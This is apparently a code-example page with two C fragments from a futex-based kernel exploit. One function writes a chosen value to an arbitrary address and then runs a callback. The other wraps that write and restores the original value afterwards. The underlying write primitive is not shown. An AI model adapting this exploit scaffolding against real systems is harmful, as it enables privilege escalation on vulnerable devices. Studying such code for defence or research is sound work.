Esempio n. 1
0
bool
futex_run_exploit(unsigned long int address, int value,
                 bool(*exploit_callback)(void* user_data), void *user_data)
{
  if (!futex_write_value_at_address(address, value)) {
    return false;
  }

  return exploit_callback(user_data);
}
Esempio n. 2
0
static bool
attempt_futex_exploit(unsigned long int address,
                     unsigned long int write_value,
                     unsigned long int restore_value,
                     callback_info_t *info)
{
  if (futex_run_exploit(address, write_value, &run_callback, info)) {
    futex_write_value_at_address(address, restore_value);

    return true;
  }

  return false;
}